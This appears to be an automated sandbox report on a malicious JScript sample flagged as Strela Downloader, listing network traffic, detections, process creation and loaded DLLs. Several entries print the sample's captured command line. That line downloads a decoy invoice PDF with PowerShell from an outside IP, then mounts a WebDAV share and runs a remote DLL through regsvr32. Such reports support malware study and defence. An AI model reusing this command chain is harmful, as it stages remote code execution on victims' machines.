43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:50580 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1747867077.000001A9E8A04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1806358950.0000024FC6A4A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1806305444.0000024FC6A18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1805638454.0000024FC6A4A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1806358950.0000024FC6A6D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1805569499.0000024FC6A6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1806358950.0000024FC6A4A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1805638454.0000024FC6A4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/V9
Source: svchost.exe, 00000008.00000002.3042970680.0000019718400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1816441236.00000197183D8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1816441236.00000197183D8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1816441236.00000197183D8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1816441236.000001971840D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1816441236.0000019718482000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1816441236.0000019718482000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1816441236.0000019718482000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1704, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1383920648257922108.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3004:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rwnjntn5.o0g.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1383920648257922108.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1383920648257922108.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2348 --field-trial-handle=1528,i,17082125042189187167,13737739473756147948,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2348 --field-trial-handle=1528,i,17082125042189187167,13737739473756147948,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
